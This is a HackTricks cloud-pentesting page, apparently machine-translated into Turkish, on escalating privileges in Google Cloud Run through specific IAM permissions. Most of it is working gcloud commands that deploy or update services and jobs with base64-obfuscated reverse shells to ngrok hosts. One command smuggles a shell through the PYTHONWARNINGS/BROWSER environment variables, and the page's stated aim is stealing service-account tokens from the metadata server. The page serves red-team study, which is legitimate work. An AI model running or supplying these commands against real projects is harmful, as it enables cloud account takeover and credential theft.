GCP - Run Privesc

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

• Check the subscription plans!

• Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.

• Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.

Cloud Run

Cloud Run hakkında daha fazla bilgi için kontrol edin:

GCP - Cloud Run Enum

run.services.create , iam.serviceAccounts.actAs, run.routes.invoke

Bu izinlere sahip bir saldırgan, rastgele kod çalıştıran bir run servisi oluşturabilir (rastgele Docker konteyneri), ona bir Hizmet Hesabı ekleyebilir ve kodu Hizmet Hesabı jetonunu metadata'dan dışa aktarması için ayarlayabilir.

Bu yöntem için bir istismar betiği burada bulunabilir ve Docker imajı burada bulunabilir.

gcloud run deploy kullanırken, sadece servisi oluşturmak yerine update iznine ihtiyaç duyduğunu unutmayın. Burada bir örnek kontrol edin.

run.services.update , iam.serviceAccounts.actAs

Öncekine benzer ancak bir servisi güncelleyerek:

# Launch some web server to listen in port 80 so the service works
echo "python3 -m http.server 80;sh -i >& /dev/tcp/0.tcp.eu.ngrok.io/14348 0>&1" | base64
# cHl0aG9uMyAtbSBodHRwLnNlcnZlciA4MDtzaCAtaSA+JiAvZGV2L3RjcC8wLnRjcC5ldS5uZ3Jvay5pby8xNDM0OCAwPiYxCg==

gcloud run deploy hacked \
--image=ubuntu:22.04 \  # Make sure to use an ubuntu version that includes python3
--command=bash \
--args="-c,echo cHl0aG9uMyAtbSBodHRwLnNlcnZlciA4MDtzaCAtaSA+JiAvZGV2L3RjcC8wLnRjcC5ldS5uZ3Jvay5pby8xNDM0OCAwPiYxCg== | base64 -d | bash" \
--service-account="<proj-num>[e-mail]" \
--region=us-central1 \
--allow-unauthenticated

# If you don't have permissions to use "--allow-unauthenticated", dont use it

run.services.setIamPolicy

Kendinize Cloud Run üzerinde önceki izinler verin.

run.jobs.create, run.jobs.run, iam.serviceaccounts.actAs,(run.jobs.get)

Komutta belirtilen hizmet hesabını çalmak için ters bir shell ile bir iş başlatın. Bir istismar burada bulabilirsiniz.

gcloud beta run jobs create jab-cloudrun-3326 \
--image=ubuntu:latest \
--command=bash \
--args="-c,echo c2ggLWkgPiYgL2Rldi90Y3AvNC50Y3AuZXUubmdyb2suaW8vMTIxMzIgMD4mMQ== | base64 -d | bash" \
--service-account="<sa>@$PROJECT_ID.iam.gserviceaccount.com" \
--region=us-central1

run.jobs.update,run.jobs.run,iam.serviceaccounts.actAs,(run.jobs.get)

Öncekine benzer şekilde, bir işi güncellemek ve SA'yı güncellemek mümkündür, komutu ve onu çalıştırmak:

gcloud beta run jobs update hacked \
--image=mubuntu:latest \
--command=bash \
--args="-c,echo c2ggLWkgPiYgL2Rldi90Y3AvNy50Y3AuZXUubmdyb2suaW8vMTQ4NDEgMD4mMQ== | base64 -d | bash" \
--service-account=<proj-num>[e-mail] \
--region=us-central1 \
--execute-now

run.jobs.setIamPolicy

Kendinize Cloud Jobs üzerinde önceki izinleri verin.

run.jobs.run, run.jobs.runWithOverrides, (run.jobs.get)

Bir işin yürütme ortam değişkenlerini kötüye kullanarak rastgele kod çalıştırın ve konteynerin içeriğini (kaynak kodu) dökmek ve metadata içindeki SA'ya erişmek için ters bir shell alın:

gcloud beta run jobs execute job-name --region <region> --update-env-vars="PYTHONWARNINGS=all:0:antigravity.x:0:0,BROWSER=/bin/bash -c 'bash -i >& /dev/tcp/6.tcp.eu.ngrok.io/14195 0>&1' #%s"

Referanslar

• https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/

AWS Hacking'i öğrenin ve pratik yapın:HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE) GCP Hacking'i öğrenin ve pratik yapın: HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)

HackTricks'i Destekleyin

• abonelik planlarını kontrol edin!

• 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter'da 🐦 @hacktricks_live'i takip edin.**

• Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.